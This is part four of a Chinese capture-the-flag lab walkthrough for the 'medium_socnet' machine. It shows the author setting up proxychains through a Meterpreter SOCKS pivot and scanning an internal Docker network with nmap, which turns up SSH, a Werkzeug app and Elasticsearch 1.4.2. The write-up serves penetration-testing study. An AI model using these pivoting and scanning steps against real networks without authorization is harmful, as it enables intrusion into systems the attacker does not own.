浙江龙网

  1. 首页 > 生活百科 > >

靶机: medium_socnet( 四 )

生活百科

  • 下一步，配置本地 proxychains 代理链工具【先确定是否安装，推荐使用新的 proxychains4】，上面的 shell 不用关闭，再开一个 kali 的 shell 并且在新的命令行使用命令 ， 配置 proxychains 的代理列表添加 socks4 [上面 set SRVHOST 的 IP 地址] [上面的 SRVPORT]
    touch proxychains.conf# 创建目录级的 proxychains 配置文件，我们不污染系统级的配置文件sudo cat /etc/proxychains4.conf > ./proxychains.conf# 将系统级的配置文件复刻到当前目录的配置文件 proxychains.confvim ./proxychains.conf# 只需要修改最后一行 socks4 127.0.0.1 9050 改为 socks4 192.168.56.103 1080
  • 完成整个代理步骤后可以通过 proxychains 或 proxychains4 作为其他命令前缀探索内网，但我们使用的是目录级 proxychains 配置文件实验需要使用 -f 参数指定配置文件
    proxychains4 -f ./proxychains.conf nmap -Pn -sT 172.17.0.0/24# 172.17.0.0/24 是目标容器系统的内网网段，扫描过程中可能会比较费时【段扫描数量太大】我们使用之前 msf 的那个 shell 执行 sessions -1 回到之前的挂起的会话 ， 使用 arp a 简单说明判断其他存活的 ip
    meterpreter > arp -aARP cache=========IP addressMAC addressInterface------------------------------172.17.0.102:42:e9:66:7d:b6用 proxychains 的那个 shell 执行 nmap 扫描 172.17.0.1
    ┌──(kali?kali)-[~/Workspace]└─$ proxychains4 -f ./proxychains.conf nmap 172.17.0.1[proxychains] config file found: ./proxychains.conf[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4[proxychains] DLL init: proxychains-ng 4.16Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 19:15 CST[proxychains] Strict chain...192.168.56.103:1080...172.17.0.1:80 <--denied[proxychains] Strict chain...192.168.56.103:1080...172.17.0.1:25 <--denied[proxychains] Strict chain...192.168.56.103:1080...172.17.0.1:993 <--denied......[proxychains] Strict chain...192.168.56.103:1080...172.17.0.1:555 <--denied[proxychains] Strict chain...192.168.56.103:1080...172.17.0.1:2047 <--deniedNmap scan report for 172.17.0.1Host is up (0.0074s latency).Not shown: 998 closed tcp ports (conn-refused)PORTSTATE SERVICE22/tcpopenssh5000/tcp openupnpNmap done: 1 IP address (1 host up) scanned in 11.28 seconds
    • 开始正餐行好 ， 我们已经可以在目标容器内网使用 kali 了，下面我们真正的目标发起攻击
    ┌──(kali?kali)-[~/Workspace]└─$ proxychains4 -f ./proxychains.conf nmap -p22,5000 -Pn -sT -sV 172.17.0.1255 ?[proxychains] config file found: ./proxychains.conf[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4[proxychains] DLL init: proxychains-ng 4.16Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 20:24 CST[proxychains] Strict chain...192.168.56.103:1080...172.17.0.1:22...OK[proxychains] Strict chain...192.168.56.103:1080...172.17.0.1:5000...OK[proxychains] Strict chain...192.168.56.103:1080...172.17.0.1:22...OK[proxychains] Strict chain...192.168.56.103:1080...172.17.0.1:5000...OK[proxychains] Strict chain...192.168.56.103:1080...172.17.0.1:5000...OK[proxychains] Strict chain...192.168.56.103:1080...172.17.0.1:5000...OK[proxychains] Strict chain...192.168.56.103:1080...172.17.0.1:5000...OK[proxychains] Strict chain...192.168.56.103:1080...172.17.0.1:5000...OK[proxychains] Strict chain...192.168.56.103:1080...172.17.0.1:5000...OK[proxychains] Strict chain...192.168.56.103:1080...172.17.0.1:5000...OK[proxychains] Strict chain...192.168.56.103:1080...172.17.0.1:5000...OK[proxychains] Strict chain...192.168.56.103:1080...172.17.0.1:5000...OKNmap scan report for 172.17.0.1Host is up (0.033s latency).PORTSTATE SERVICE VERSION22/tcpopensshOpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)5000/tcp openhttpWerkzeug httpd 0.14.1 (Python 2.7.15)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds
    • 发现与我们之前的目标容器非常相似，我们可以使用 firefox 设置代理访问 http://172.17.0.1:5000 浏览器代理方法自行百度 ， 重点使用手动配置代理配置 SOCKS 主机 与前面 proxychains.conf 一致
    • 访问网页的结果与之前的相同 ， 可以判断 172.17.0.1 便是之前 192.168.56.101 的宿主机
    测试探索 172.17.0.2
    ┌──(kali?kali)-[~/Workspace]└─$ proxychains4 -f ./proxychains.conf nmap -Pn -sT -sV 172.17.0.2130 ?[proxychains] config file found: ./proxychains.conf[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4[proxychains] DLL init: proxychains-ng 4.16Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 20:39 CST[proxychains] Strict chain...192.168.56.103:1080...172.17.0.2:1720 <--denied[proxychains] Strict chain...192.168.56.103:1080...172.17.0.2:1025 <--denied......[proxychains] Strict chain...192.168.56.103:1080...172.17.0.2:9200...OK[proxychains] Strict chain...192.168.56.103:1080...172.17.0.2:9200...OKNmap scan report for 172.17.0.2Host is up (0.0066s latency).Not shown: 999 closed tcp ports (conn-refused)PORTSTATE SERVICE VERSION9200/tcp openhttpElasticsearch REST API 1.4.2 (name: Watcher; cluster: elasticsearch; Lucene 4.10.2)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 29.58 seconds

    推荐阅读


      上一篇：三 Selenium+Python系列 - 常见浏览器操作

      下一篇：微服务组件--限流框架Spring Cloud Hystrix分析